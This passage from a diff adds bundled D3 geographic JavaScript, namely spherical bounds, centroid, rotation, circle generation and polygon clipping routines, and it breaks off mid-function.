{ + return (lambda1 -= lambda0) < 0 ? lambda1 + 360 : lambda1; +} + +function rangeCompare(a, b) { + return a[0] - b[0]; +} + +function rangeContains(range, x) { + return range[0] <= range[1] ? range[0] <= x && x <= range[1] : x < range[0] || range[1] < x; +} + +function bounds(feature) { + var i, n, a, b, merged, deltaMax, delta; + + phi1 = lambda1 = -(lambda0$1 = phi0 = Infinity); + ranges = []; + geoStream(feature, boundsStream); + + // First, sort ranges by their minimum longitudes. + if (n = ranges.length) { + ranges.sort(rangeCompare); + + // Then, merge any ranges that overlap. + for (i = 1, a = ranges[0], merged = [a]; i < n; ++i) { + b = ranges[i]; + if (rangeContains(a, b[0]) || rangeContains(a, b[1])) { + if (angle(a[0], b[1]) > angle(a[0], a[1])) a[1] = b[1]; + if (angle(b[0], a[1]) > angle(a[0], a[1])) a[0] = b[0]; + } else { + merged.push(a = b); + } + } + + // Finally, find the largest gap between the merged ranges. + // The final bounding box will be the inverse of this gap. + for (deltaMax = -Infinity, n = merged.length - 1, i = 0, a = merged[n]; i <= n; a = b, ++i) { + b = merged[i]; + if ((delta = angle(a[1], b[0])) > deltaMax) deltaMax = delta, lambda0$1 = b[0], lambda1 = a[1]; + } + } + + ranges = range = null; + + return lambda0$1 === Infinity || phi0 === Infinity + ? [[NaN, NaN], [NaN, NaN]] + : [[lambda0$1, phi0], [lambda1, phi1]]; +} + +var W0, W1, + X0, Y0, Z0, + X1, Y1, Z1, + X2, Y2, Z2, + lambda00$2, phi00$2, // first point + x0, y0, z0; // previous point + +var centroidStream = { + sphere: noop$2, + point: centroidPoint, + lineStart: centroidLineStart, + lineEnd: centroidLineEnd, + polygonStart: function() { + centroidStream.lineStart = centroidRingStart; + centroidStream.lineEnd = centroidRingEnd; + }, + polygonEnd: function() { + centroidStream.lineStart = centroidLineStart; + centroidStream.lineEnd = centroidLineEnd; + } +}; + +// Arithmetic mean of Cartesian vectors. +function centroidPoint(lambda, phi) { + lambda *= radians, phi *= radians; + var cosPhi = cos$1(phi); + centroidPointCartesian(cosPhi * cos$1(lambda), cosPhi * sin$1(lambda), sin$1(phi)); +} + +function centroidPointCartesian(x, y, z) { + ++W0; + X0 += (x - X0) / W0; + Y0 += (y - Y0) / W0; + Z0 += (z - Z0) / W0; +} + +function centroidLineStart() { + centroidStream.point = centroidLinePointFirst; +} + +function centroidLinePointFirst(lambda, phi) { + lambda *= radians, phi *= radians; + var cosPhi = cos$1(phi); + x0 = cosPhi * cos$1(lambda); + y0 = cosPhi * sin$1(lambda); + z0 = sin$1(phi); + centroidStream.point = centroidLinePoint; + centroidPointCartesian(x0, y0, z0); +} + +function centroidLinePoint(lambda, phi) { + lambda *= radians, phi *= radians; + var cosPhi = cos$1(phi), + x = cosPhi * cos$1(lambda), + y = cosPhi * sin$1(lambda), + z = sin$1(phi), + w = atan2(sqrt((w = y0 * z - z0 * y) * w + (w = z0 * x - x0 * z) * w + (w = x0 * y - y0 * x) * w), x0 * x + y0 * y + z0 * z); + W1 += w; + X1 += w * (x0 + (x0 = x)); + Y1 += w * (y0 + (y0 = y)); + Z1 += w * (z0 + (z0 = z)); + centroidPointCartesian(x0, y0, z0); +} + +function centroidLineEnd() { + centroidStream.point = centroidPoint; +} + +// See J. E. Brock, The Inertia Tensor for a Spherical Triangle, +// J. Applied Mechanics 42, 239 (1975). +function centroidRingStart() { + centroidStream.point = centroidRingPointFirst; +} + +function centroidRingEnd() { + centroidRingPoint(lambda00$2, phi00$2); + centroidStream.point = centroidPoint; +} + +function centroidRingPointFirst(lambda, phi) { + lambda00$2 = lambda, phi00$2 = phi; + lambda *= radians, phi *= radians; + centroidStream.point = centroidRingPoint; + var cosPhi = cos$1(phi); + x0 = cosPhi * cos$1(lambda); + y0 = cosPhi * sin$1(lambda); + z0 = sin$1(phi); + centroidPointCartesian(x0, y0, z0); +} + +function centroidRingPoint(lambda, phi) { + lambda *= radians, phi *= radians; + var cosPhi = cos$1(phi), + x = cosPhi * cos$1(lambda), + y = cosPhi * sin$1(lambda), + z = sin$1(phi), + cx = y0 * z - z0 * y, + cy = z0 * x - x0 * z, + cz = x0 * y - y0 * x, + m = sqrt(cx * cx + cy * cy + cz * cz), + w = asin(m), // line weight = angle + v = m && -w / m; // area weight multiplier + X2 += v * cx; + Y2 += v * cy; + Z2 += v * cz; + W1 += w; + X1 += w * (x0 + (x0 = x)); + Y1 += w * (y0 + (y0 = y)); + Z1 += w * (z0 + (z0 = z)); + centroidPointCartesian(x0, y0, z0); +} + +function centroid(object) { + W0 = W1 = + X0 = Y0 = Z0 = + X1 = Y1 = Z1 = + X2 = Y2 = Z2 = 0; + geoStream(object, centroidStream); + + var x = X2, + y = Y2, + z = Z2, + m = x * x + y * y + z * z; + + // If the area-weighted ccentroid is undefined, fall back to length-weighted ccentroid. + if (m < epsilon2$1) { + x = X1, y = Y1, z = Z1; + // If the feature has zero length, fall back to arithmetic mean of point vectors. + if (W1 < epsilon$2) x = X0, y = Y0, z = Z0; + m = x * x + y * y + z * z; + // If the feature still has an undefined ccentroid, then return. + if (m < epsilon2$1) return [NaN, NaN]; + } + + return [atan2(y, x) * degrees$1, asin(z / sqrt(m)) * degrees$1]; +} + +function constant$8(x) { + return function() { + return x; + }; +} + +function compose(a, b) { + + function compose(x, y) { + return x = a(x, y), b(x[0], x[1]); + } + + if (a.invert && b.invert) compose.invert = function(x, y) { + return x = b.invert(x, y), x && a.invert(x[0], x[1]); + }; + + return compose; +} + +function rotationIdentity(lambda, phi) { + return [abs(lambda) > pi$3 ? lambda + Math.round(-lambda / tau$3) * tau$3 : lambda, phi]; +} + +rotationIdentity.invert = rotationIdentity; + +function rotateRadians(deltaLambda, deltaPhi, deltaGamma) { + return (deltaLambda %= tau$3) ? (deltaPhi || deltaGamma ? compose(rotationLambda(deltaLambda), rotationPhiGamma(deltaPhi, deltaGamma)) + : rotationLambda(deltaLambda)) + : (deltaPhi || deltaGamma ? rotationPhiGamma(deltaPhi, deltaGamma) + : rotationIdentity); +} + +function forwardRotationLambda(deltaLambda) { + return function(lambda, phi) { + return lambda += deltaLambda, [lambda > pi$3 ? lambda - tau$3 : lambda < -pi$3 ? lambda + tau$3 : lambda, phi]; + }; +} + +function rotationLambda(deltaLambda) { + var rotation = forwardRotationLambda(deltaLambda); + rotation.invert = forwardRotationLambda(-deltaLambda); + return rotation; +} + +function rotationPhiGamma(deltaPhi, deltaGamma) { + var cosDeltaPhi = cos$1(deltaPhi), + sinDeltaPhi = sin$1(deltaPhi), + cosDeltaGamma = cos$1(deltaGamma), + sinDeltaGamma = sin$1(deltaGamma); + + function rotation(lambda, phi) { + var cosPhi = cos$1(phi), + x = cos$1(lambda) * cosPhi, + y = sin$1(lambda) * cosPhi, + z = sin$1(phi), + k = z * cosDeltaPhi + x * sinDeltaPhi; + return [ + atan2(y * cosDeltaGamma - k * sinDeltaGamma, x * cosDeltaPhi - z * sinDeltaPhi), + asin(k * cosDeltaGamma + y * sinDeltaGamma) + ]; + } + + rotation.invert = function(lambda, phi) { + var cosPhi = cos$1(phi), + x = cos$1(lambda) * cosPhi, + y = sin$1(lambda) * cosPhi, + z = sin$1(phi), + k = z * cosDeltaGamma - y * sinDeltaGamma; + return [ + atan2(y * cosDeltaGamma + z * sinDeltaGamma, x * cosDeltaPhi + k * sinDeltaPhi), + asin(k * cosDeltaPhi - x * sinDeltaPhi) + ]; + }; + + return rotation; +} + +function rotation(rotate) { + rotate = rotateRadians(rotate[0] * radians, rotate[1] * radians, rotate.length > 2 ? rotate[2] * radians : 0); + + function forward(coordinates) { + coordinates = rotate(coordinates[0] * radians, coordinates[1] * radians); + return coordinates[0] *= degrees$1, coordinates[1] *= degrees$1, coordinates; + } + + forward.invert = function(coordinates) { + coordinates = rotate.invert(coordinates[0] * radians, coordinates[1] * radians); + return coordinates[0] *= degrees$1, coordinates[1] *= degrees$1, coordinates; + }; + + return forward; +} + +// Generates a circle centered at [0°, 0°], with a given radius and precision. +function circleStream(stream, radius, delta, direction, t0, t1) { + if (!delta) return; + var cosRadius = cos$1(radius), + sinRadius = sin$1(radius), + step = direction * delta; + if (t0 == null) { + t0 = radius + direction * tau$3; + t1 = radius - step / 2; + } else { + t0 = circleRadius(cosRadius, t0); + t1 = circleRadius(cosRadius, t1); + if (direction > 0 ? t0 < t1 : t0 > t1) t0 += direction * tau$3; + } + for (var point, t = t0; direction > 0 ? t > t1 : t < t1; t -= step) { + point = spherical([cosRadius, -sinRadius * cos$1(t), -sinRadius * sin$1(t)]); + stream.point(point[0], point[1]); + } +} + +// Returns the signed angle of a cartesian point relative to [cosRadius, 0, 0]. +function circleRadius(cosRadius, point) { + point = cartesian(point), point[0] -= cosRadius; + cartesianNormalizeInPlace(point); + var radius = acos(-point[1]); + return ((-point[2] < 0 ? -radius : radius) + tau$3 - epsilon$2) % tau$3; +} + +function circle() { + var center = constant$8([0, 0]), + radius = constant$8(90), + precision = constant$8(6), + ring, + rotate, + stream = {point: point}; + + function point(x, y) { + ring.push(x = rotate(x, y)); + x[0] *= degrees$1, x[1] *= degrees$1; + } + + function circle() { + var c = center.apply(this, arguments), + r = radius.apply(this, arguments) * radians, + p = precision.apply(this, arguments) * radians; + ring = []; + rotate = rotateRadians(-c[0] * radians, -c[1] * radians, 0).invert; + circleStream(stream, r, p, 1); + c = {type: "Polygon", coordinates: [ring]}; + ring = rotate = null; + return c; + } + + circle.center = function(_) { + return arguments.length ? (center = typeof _ === "function" ? _ : constant$8([+_[0], +_[1]]), circle) : center; + }; + + circle.radius = function(_) { + return arguments.length ? (radius = typeof _ === "function" ? _ : constant$8(+_), circle) : radius; + }; + + circle.precision = function(_) { + return arguments.length ? (precision = typeof _ === "function" ? _ : constant$8(+_), circle) : precision; + }; + + return circle; +} + +function clipBuffer() { + var lines = [], + line; + return { + point: function(x, y) { + line.push([x, y]); + }, + lineStart: function() { + lines.push(line = []); + }, + lineEnd: noop$2, + rejoin: function() { + if (lines.length > 1) lines.push(lines.pop().concat(lines.shift())); + }, + result: function() { + var result = lines; + lines = []; + line = null; + return result; + } + }; +} + +function pointEqual(a, b) { + return abs(a[0] - b[0]) < epsilon$2 && abs(a[1] - b[1]) < epsilon$2; +} + +function Intersection(point, points, other, entry) { + this.x = point; + this.z = points; + this.o = other; // another intersection + this.e = entry; // is an entry? + this.v = false; // visited + this.n = this.p = null; // next & previous +} + +// A generalized polygon clipping algorithm: given a polygon that has been cut +// into its visible line segments, and rejoins the segments by interpolating +// along the clip edge. +function clipRejoin(segments, compareIntersection, startInside, interpolate, stream) { + var subject = [], + clip = [], + i, + n; + + segments.forEach(function(segment) { + if ((n = segment.length - 1) <= 0) return; + var n, p0 = segment[0], p1 = segment[n], x; + + // If the first and last points of a segment are coincident, then treat as a + // closed ring. TODO if all rings are closed, then the winding order of the + // exterior ring should be checked. + if (pointEqual(p0, p1)) { + stream.lineStart(); + for (i = 0; i < n; ++i) stream.point((p0 = segment[i])[0], p0[1]); + stream.lineEnd(); + return; + } + + subject.push(x = new Intersection(p0, segment, null, true)); + clip.push(x.o = new Intersection(p0, null, x, false)); + subject.push(x = new Intersection(p1, segment, null, false)); + clip.push(x.o = new Intersection(p1, null, x, true)); + }); + + if (!subject.length) return; + + clip.sort(compareIntersection); + link$1(subject); + link$1(clip); + + for (i = 0, n = clip.length; i < n; ++i) { + clip[i].e = startInside = !startInside; + } + + var start = subject[0], + points, + point; + + while (1) { + // Find first unvisited intersection. + var current = start, + isSubject = true; + while (current.v) if ((current = current.n) === start) return; + points = current.z; + stream.lineStart(); + do { + current.v = current.o.v = true; + if (current.e) { + if (isSubject) { + for (i = 0, n = points.length; i < n; ++i) stream.point((point = points[i])[0], point[1]); + } else { + interpolate(current.x, current.n.x, 1, stream); + } + current = current.n; + } else { + if (isSubject) { + points = current.p.z; + for (i = points.length - 1; i >= 0; --i) stream.point((point = points[i])[0], point[1]); + } else { + interpolate(current.x, current.p.x, -1, stream); + } + current = current.p; + } + current = current.o; + points = current.z; + isSubject = !isSubject; + } while (!current.v); + stream.lineEnd(); + } +} + +function link$1(array) { + if (!(n = array.length)) return; + var n, + i = 0, + a = array[0], + b; + while (++i < n) { + a.n = b = array[i]; + b.p = a; + a = b; + } + a.n = b = array[0]; + b.p = a; +} + +var sum$1 = adder(); + +function longitude(point) { + if (abs(point[0]) <= pi$3) + return point[0]; + else + return sign(point[0]) * ((abs(point[0]) + pi$3) % tau$3 - pi$3); +} + +function polygonContains(polygon, point) { + var lambda = longitude(point), + phi = point[1], + sinPhi = sin$1(phi), + normal = [sin$1(lambda), -cos$1(lambda), 0], + angle = 0, + winding = 0; + + sum$1.reset(); + + if (sinPhi === 1) phi = halfPi$2 + epsilon$2; + else if (sinPhi === -1) phi = -halfPi$2 - epsilon$2; + + for (var i = 0, n = polygon.length; i < n; ++i) { + if (!(m = (ring = polygon[i]).length)) continue; + var ring, + m, + point0 = ring[m - 1], + lambda0 = longitude(point0), + phi0 = point0[1] / 2 + quarterPi, + sinPhi0 = sin$1(phi0), + cosPhi0 = cos$1(phi0); + + for (var j = 0; j < m; ++j, lambda0 = lambda1, sinPhi0 = sinPhi1, cosPhi0 = cosPhi1, point0 = point1) { + var point1 = ring[j], + lambda1 = longitude(point1), + phi1 = point1[1] / 2 + quarterPi, + sinPhi1 = sin$1(phi1), + cosPhi1 = cos$1(phi1), + delta = lambda1 - lambda0, + sign = delta >= 0 ? 1 : -1, + absDelta = sign * delta, + antimeridian = absDelta > pi$3, + k = sinPhi0 * sinPhi1; + + sum$1.add(atan2(k * sign * sin$1(absDelta), cosPhi0 * cosPhi1 + k * cos$1(absDelta))); + angle += antimeridian ? delta + sign * tau$3 : delta; + + // Are the longitudes either side of the point’s meridian (lambda), + // and are the latitudes smaller than the parallel (phi)? + if (antimeridian ^ lambda0 >= lambda ^ lambda1 >= lambda) { + var arc = cartesianCross(cartesian(point0), cartesian(point1)); + cartesianNormalizeInPlace(arc); + var intersection = cartesianCross(normal, arc); + cartesianNormalizeInPlace(intersection); + var phiArc = (antimeridian ^ delta >= 0 ? -1 : 1) * asin(intersection[2]); + if (phi > phiArc || phi === phiArc && (arc[0] || arc[1])) { + winding += antimeridian ^ delta >= 0 ? 1 : -1; + } + } + } + } + + // First, determine whether the South pole is inside or outside: + // + // It is inside if: + // * the polygon winds around it in a clockwise direction. + // * the polygon does not (cumulatively) wind around it, but has a negative + // (counter-clockwise) area. + // + // Second, count the (signed) number of times a segment crosses a lambda + // from the point to the South pole. If it is zero, then the point is the + // same side as the South pole. + + return (angle < -epsilon$2 || angle < epsilon$2 && sum$1 < -epsilon$2) ^ (winding & 1); +} + +function clip(pointVisible, clipLine, interpolate, start) { + return function(sink) { + var line = clipLine(sink), + ringBuffer = clipBuffer(), + ringSink = clipLine(ringBuffer), + polygonStarted = false, + polygon, + segments, + ring; + + var clip = { + point: point, + lineStart: lineStart, + lineEnd: lineEnd, + polygonStart: function() { + clip.point = pointRing; + clip.lineStart = ringStart; + clip.lineEnd = ringEnd; + segments = []; + polygon = []; + }, + polygonEnd: function() { + clip.point = point; + clip.lineStart = lineStart; + clip.lineEnd = lineEnd; + segments = merge(segments); + var startInside = polygonContains(polygon, start); + if (segments.length) { + if (!polygonStarted) sink.polygonStart(), polygonStarted = true; + clipRejoin(segments, compareIntersection, startInside, interpolate, sink); + } else if (startInside) { + if (!polygonStarted) sink.polygonStart(), polygonStarted = true; + sink.lineStart(); + interpolate(null, null, 1, sink); + sink.lineEnd(); + } + if (polygonStarted) sink.polygonEnd(), polygonStarted = false; + segments = polygon = null; + }, + sphere: function() { + sink.polygonStart(); + sink.lineStart(); + interpolate(null, null, 1, sink); + sink.lineEnd(); + sink.polygonEnd(); + } + }; + + function point(lambda, phi) { + if (pointVisible(lambda, phi)) sink.point(lambda, phi); + } + + function pointLine(lambda, phi) { + line.point(lambda, phi); + } + + function lineStart() { + clip.point = pointLine; + line.lineStart(); + } + + function lineEnd() { + clip.point = point; + line.lineEnd(); + } + + function pointRing(lambda, phi) { + ring.push([lambda, phi]); + ringSink.point(lambda, phi); + } + + function ringStart() { + ringSink.lineStart(); + ring = []; + } + + function ringEnd() { + pointRing(ring[0][0], ring[0][1]); + ringSink.lineEnd(); + + var clean = ringSink.clean(), + ringSegments = ringBuffer.result(), + i, n = ringSegments.length, m, + segment, + point; + + ring.pop(); + polygon.push(ring); + ring = null; + + if (!n) return; + + // No intersections. + if (clean & 1) { + segment = ringSegments[0]; + if ((m = segment.length - 1) > 0) { + if (!polygonStarted) sink.polygonStart(), polygonStarted = true; + sink.lineStart(); + for (i = 0; i < m; ++i) sink.point((point = segment[i])[0], point[1]); + sink.lineEnd(); + } + return; + } + + // Rejoin connected segments. + // TODO reuse ringBuffer.rejoin()? + if (n > 1 && clean & 2) ringSegments.push(ringSegments.pop().concat(ringSegments.shift())); + + segments.push(ringSegments.filter(validSegment)); + } + + return clip; + }; +} + +function validSegment(segment) { + return segment.length > 1; +} + +// Intersections are sorted along the clip edge. For both antimeridian cutting +// and circle clipping, the same comparison is used. +function compareIntersection(a, b) { + return ((a = a.x)[0] < 0 ? a[1] - halfPi$2 - epsilon$2 : halfPi$2 - a[1]) + - ((b = b.x)[0] < 0 ? b[1] - halfPi$2 - epsilon$2 : halfPi$2 - b[1]); +} + +var clipAntimeridian = clip( + function() { return true; }, + clipAntimeridianLine, + clipAntimeridianInterpolate, + [-pi$3, -halfPi$2] +); + +// Takes a line and cuts into visible segments. Return values: 0 - there were +// intersections or the line was empty; 1 - no intersections; 2 - there were +// intersections, and the first and last segments should be rejoined. +function clipAntimeridianLine(stream) { + var lambda0 = NaN, + phi0 = NaN, + sign0 = NaN, + clean; // no intersections + + return { + lineStart: function() { + stream.lineStart(); + clean = 1; + }, + point: function(lambda1, phi1) { + var sign1 = lambda1 > 0 ? pi$3 : -pi$3, + delta = abs(lambda1 - lambda0); + if (abs(delta - pi$3) < epsilon$2) { // line crosses a pole + stream.point(lambda0, phi0 = (phi0 + phi1) / 2 > 0 ? halfPi$2 : -halfPi$2); + stream.point(sign0, phi0); + stream.lineEnd(); + stream.lineStart(); + stream.point(sign1, phi0); + stream.point(lambda1, phi0); + clean = 0; + } else if (sign0 !== sign1 && delta >= pi$3) { // line crosses antimeridian + if (abs(lambda0 - sign0) < epsilon$2) lambda0 -= sign0 * epsilon$2; // handle degeneracies + if (abs(lambda1 - sign1) < epsilon$2) lambda1 -= sign1 * epsilon$2; + phi0 = clipAntimeridianIntersect(lambda0, phi0, lambda1, phi1); + stream.point(sign0, phi0); + stream.lineEnd(); + stream.lineStart(); + stream.point(sign1, phi0); + clean = 0; + } + stream.point(lambda0 = lambda1, phi0 = phi1); + sign0 = sign1; + }, + lineEnd: function() { + stream.lineEnd(); + lambda0 = phi0 = NaN; + }, + clean: function() { + return 2 - clean; // if intersections, rejoin first and last segments + } + }; +} + +function clipAntimeridianIntersect(lambda0, phi0, lambda1, phi1) { + var cosPhi0, + cosPhi1, + sinLambda0Lambda1 = sin$1(lambda0 - lambda1); + return abs(sinLambda0Lambda1) > epsilon$2 + ? atan((sin$1(phi0) * (cosPhi1 = cos$1(phi1)) * sin$1(lambda1) + - sin$1(phi1) * (cosPhi0 = cos$1(phi0)) * sin$1(lambda0)) + / (cosPhi0 * cosPhi1 * sinLambda0Lambda1)) + : (phi0 + phi1) / 2; +} + +function clipAntimeridianInterpolate(from, to, direction, stream) { + var phi; + if (from == null) { + phi = direction * halfPi$2; + stream.point(-pi$3, phi); + stream.point(0, phi); + stream.point(pi$3, phi); + stream.point(pi$3, 0); + stream.point(pi$3, -phi); + stream.point(0, -phi); + stream.point(-pi$3, -phi); + stream.point(-pi$3, 0); + stream.point(-pi$3, phi); + } else if (abs(from[0] - to[0]) > epsilon$2) { + var lambda = from[0] < to[0] ? pi$3 : -pi$3; + phi = direction * lambda / 2; + stream.point(-lambda, phi); + stream.point(0, phi); + stream.point(lambda, phi); + } else { + stream.point(to[0], to[1]); + } +} + +function clipCircle(radius) { + var cr = cos$1(radius), + delta = 6 * radians, + smallRadius = cr > 0, + notHemisphere = abs(cr) > epsilon$2; // TODO optimise for this common case + + function interpolate(from, to, direction, stream) { + circleStream(stream, radius, delta, direction, from, to); + } + + function visible(lambda, phi) { + return cos$1(lambda) * cos$1(phi) > cr; + } + + // Takes a line and cuts into visible segments. Return values used for polygon + // clipping: 0 - there were intersections or the line was empty; 1 - no + // intersections 2 - there were intersections, and the first and last segments + // should be rejoined. + function clipLine(stream) { + var point0, // previous point + c0, // code for previous point + v0, // visibility of previous point + v00, // visibility of first point + clean; // no intersections + return { + lineStart: function() { + v00 = v0 = false; + clean = 1; + }, + point: function(lambda, phi) { + var point1 = [lambda, phi], + point2, + v = visible(lambda, phi), + c = smallRadius + ? v ? 0 : code(lambda, phi) + : v ? code(lambda + (lambda < 0 ? pi$3 : -pi$3), phi) : 0; + if (!point0 && (v00 = v0 = v)) stream.lineStart(); + // Handle degeneracies. + // TODO ignore if not clipping polygons. + if (v !== v0) { + point2 = intersect(point0, point1); + if (!point2 || pointEqual(point0, point2) || pointEqual(point1, point2)) { + point1[0] += epsilon$2; + point1[1] += epsilon$2; + v = visible(point1[0], point1[1]); + } + } + if (v !== v0) { + clean = 0; + if (v) { + // outside going in + stream.lineStart(); + point2 = intersect(point1, point0); + stream.point(point2[0], point2[1]); + } else { + // inside going out + point2 = intersect(point0, point1); + stream.point(point2[0], point2[1]); + stream.lineEnd(); + } + point0 = point2; + } else if (notHemisphere && point0 && smallRadius ^ v) { + var t; + // If the codes for two points are different, or are both zero, + // and there this segment intersects with the small circle. + if (!(c & c0) && (t = intersect(point1, point0, true))) { + clean = 0; + if (smallRadius) { + stream.lineStart(); + stream.point(t[0][0], t[0][1]); + stream.point(t[1][0], t[1][1]); + stream.lineEnd(); + } else { + stream.point(t[1][0], t[1][1]); + stream.lineEnd(); + stream.lineStart(); + stream.point(t[0][0], t[0][1]); + } + } + } + if (v && (!point0 || !pointEqual(point0, point1))) { + stream.point(point1[0], point1[1]); + } + point0 = point1, v0 = v, c0 = c; + }, + lineEnd: function() { + if (v0) stream.lineEnd(); + point0 = null; + }, + // Rejoin first and last segments if there were intersections and the first + // and last points were visible. + clean: function() { + return clean | ((v00 && v0) << 1); + } + }; + } + + // Intersects the great circle between a and b with the clip circle. + function intersect(a, b, two) { + var pa = cartesian(a), + pb = cartesian(b); + + // We have two planes, n1.p = d1 and n2.p = d2. + // Find intersection line p(t) = c1 n1 + c2 n2 + t (n1 ⨯ n2). + var n1 = [1, 0, 0], // normal + n2 = cartesianCross(pa, pb), + n2n2 = cartesianDot(n2, n2), + n1n2 = n2[0], // cartesianDot(n1, n2), + determinant = n2n2 - n1n2 * n1n2; + + // Two polar points. + if (!determinant) return !two && a; + + var c1 = cr * n2n2 / determinant, + c2 = -cr * n1n2 / determinant, + n1xn2 = cartesianCross(n1, n2), + A = cartesianScale(n1, c1), + B = cartesianScale(n2, c2); + cartesianAddInPlace(A, B); + + // Solve |p(t)|^2 = 1. + var u = n1xn2, + w = cartesianDot(A, u), + uu = cartesianDot(u, u), + t2 = w * w - uu * (cartesianDot(A, A) - 1); + + if (t2 < 0) return; + + var t = sqrt(t2), + q = cartesianScale(u, (-w - t) / uu); + cartesianAddInPlace(q, A); + q = spherical(q); + + if (!two) return q; + + // Two intersection points. + var lambda0 = a[0], + lambda1 = b[0], + phi0 = a[1], + phi1 = b[1], + z; + + if (lambda1 < lambda0) z = lambda0, lambda0 = lambda1, lambda1 = z; + + var delta = lambda1 - lambda0, + polar = abs(delta - pi$3) < epsilon$2, + meridian = polar || delta < epsilon$2; + + if (!polar && phi1 < phi0) z = phi0, phi0 = phi1, phi1 = z; + + // Check that the first point is between a and b. + if (meridian + ? polar + ? phi0 + phi1 > 0 ^ q[1] < (abs(q[0] - lambda0) < epsilon$2 ? phi0 : phi1) + : phi0 <= q[1] && q[1] <= phi1 + : delta > pi$3 ^ (lambda0 <= q[0] && q[0] <= lambda1)) { + var q1 = cartesianScale(u, (-w + t) / uu); + cartesianAddInPlace(q1, A); + return [q, spherical(q1)]; + } + } + + // Generates a 4-bit vector representing the location of a point relative to + // the small circle's bounding box. + function code(lambda, phi) { + var r = smallRadius ? radius : pi$3 - radius, + code = 0; + if (lambda < -r) code |= 1; // left + else if (lambda > r) code |= 2; // right + if (phi < -r) code |= 4; // below + else if (phi > r) code |= 8; // above + return code; + } + + return clip(visible, clipLine, interpolate, smallRadius ? [0, -radius] : [-pi$3, radius - pi$3]); +} + +function clipLine(a, b, x0, y0, x1, y1) { + var ax = a[0], + ay = a[1], + bx = b[0], + by = b[1], + t0 = 0, + t1 = 1, + dx = bx - ax, + dy = by - ay, + r; + + r = x0 - ax; + if (!dx && r > 0) return; + r /= dx; + if (dx < 0) { + if (r < t0) return; + if (r < t1) t1 = r; + } else if (dx > 0) { + if (r > t1) return; + if (r > t0) t0 = r; + } + + r = x1 - ax; + if (!dx && r < 0) return; + r /= dx; + if (dx < 0) { + if (r > t1) return; + if (r > t0) t0 = r; + } else if (dx > 0) { + if (r < t0) return; + if (r < t1) t1 = r; + } + + r = y0 - ay; + if (!dy && r > 0) return; + r /= dy; + if (dy < 0) { + if (r < t0) return; + if (r < t1) t1 = r; + } else if (dy > 0) { + if (r > t1) return; + if (r > t0) t0 = r; + } + + r = y1 - ay; + if (!dy && r < 0) return; + r /= dy; + if (dy < 0) { + if (r > t1) return; + if (r > t0) t0 = r; + } else if (dy > 0) { + if (r < t0) return; + if (r < t1) t1 = r; + } + + if (t0 > 0) a[0] = ax + t0 * dx, a[1] = ay + t0 * dy; + if (t1 < 1) b[0] = ax + t1 * dx, b[1] = ay + t1 * dy; + return true; +} + +var clipMax = 1e9, clipMin = -clipMax; + +// TODO Use d3-polygon’s polygonContains here for the ring check? +// TODO Eliminate duplicate buffering in clipBuffer and polygon.push? + +function clipRectangle(x0, y0, x1, y1) { + + function visible(x, y) { + return x0 <= x && x <= x1 && y0 <= y && y <= y1; + } + + function interpolate(from, to, direction, stream) { + var a = 0, a1 = 0; + if (from == null + || (a = corner(from, direction)) !== (a1 = corner(to, direction)) + || comparePoint(from, to) < 0 ^ direction > 0) { + do stream.point(a === 0 || a === 3 ? x0 : x1, a > 1 ? y1 : y0); + while ((a = (a + direction + 4) % 4) !== a1); + } else { + stream.point(to[0], to[1]); + } + } + + function corner(p, direction) { + return abs(p[0] - x0) < epsilon$2 ? direction > 0 ? 0 : 3 + : abs(p[0] - x1) < epsilon$2 ? direction > 0 ? 2 : 1 + : abs(p[1] - y0) < epsilon$2 ? direction > 0 ? 1 : 0 + : direction > 0 ? 3 : 2; // abs(p[1] - y1) < epsilon + } + + function compareIntersection(a, b) { + return comparePoint(a.x, b.x); + } + + function comparePoint(a, b) { + var ca = corner(a, 1), + cb = corner(b, 1); + return ca !== cb ? ca - cb + : ca === 0 ? b[1] - a[1] + : ca === 1 ? a[0] - b[0] + : ca === 2 ? a[1] - b[1] + : b[0] - a[0]; + } + + return function(stream) { + var activeStream = stream, + bufferStream = clipBuffer(), + segments, + polygon, + ring, + x__, y__, v__, // first point + x_, y_, v_, // previous point + first, + clean; + + var clipStream = { + point: point, + lineStart: lineStart, + lineEnd: lineEnd, + polygonStart: polygonStart, + polygonEnd: polygonEnd + }; + + function point(x, y) { + if (visible(x, y)) activeStream.point(x, y); + } + + function polygonInside() { + var winding = 0; + + for (var i = 0, n = polygon.length; i < n; ++i) { + for (var ring = polygon[i], j = 1, m = ring.length, point = ring[0], a0, a1, b0 = point[0], b1 = point[1]; j < m; ++j) { + a0 = b0, a1 = b1, point = ring[j], b0 = point[0], b1 = point[1]; + if (a1 <= y1) { if (b1 > y1 && (b0 - a0) * (y1 - a1) > (b1 - a1) * (x0 - a0)) ++winding; } + else { if (b1 <= y1 && (b0 - a0) * (y1 - a1) < (b1 - a1) * (x0 - a0)) --winding; } + } + } + + return winding; + } + + // Buffer geometry within a polygon and then clip it en masse. + function polygonStart() { + activeStream = bufferStream, segments = [], polygon = [], clean = true; + } + + function polygonEnd() { + var startInside = polygonInside(), + cleanInside = clean && startInside, + visible = (segments = merge(segments)).length; + if (cleanInside || visible) { + stream.polygonStart(); + if (cleanInside) { + stream.lineStart(); + interpolate(null, null, 1, stream); + stream.lineEnd(); + } + if (visible) { + clipRejoin(segments, compareIntersection, startInside, interpolate, stream); + } + stream.polygonEnd(); + } + activeStream = stream, segments = polygon = ring = null; + } + + function lineStart() { + clipStream.point = linePoint; + if (polygon) polygon.push(ring = []); + first = true; + v_ = false; + x_ = y_ = NaN; + } + + // TODO rather than special-case polygons, simply handle them separately. + // Ideally, coincident intersection points should be jittered to avoid + // clipping issues. + function lineEnd() { + if (segments) { + linePoint(x__, y__); + if (v__ && v_) bufferStream.rejoin(); + segments.push(bufferStream.result()); + } + clipStream.point = point; + if (v_) activeStream.lineEnd(); + } + + function linePoint(x, y) { + var v = visible(x, y); + if (polygon) ring.push([x, y]); + if (first) { + x__ = x, y__ = y, v__ = v; + first = false; + if (v) { + activeStream.lineStart(); + activeStream.point(x, y); + } + } else { + if (v && v_) activeStream.point(x, y); + else { + var a = [x_ = Math.max(clipMin, Math.min(clipMax, x_)), y_ = Math.max(clipMin, Math.min(clipMax, y_))], + b = [x = Math.max(clipMin, Math.min(clipMax, x)), y = Math.max(clipMin, Math.min(clipMax, y))]; + if (clipLine(a, b, x0, y0, x1, y1)) { + if (!v_) { + activeStream.lineStart(); + activeStream.point(a[0], a[1]); + } + activeStream.point(b[0], b[1]); + if (!v) activeStream.lineEnd(); + clean = false; + } else if (v) { + activeStream.lineStart(); + activeStream.point(x, y); + clean = false; + } + } + } + x_ = x, y_ = y, v_ = v; + } + + return clipStream; + }; +} + +function extent$1() { + var 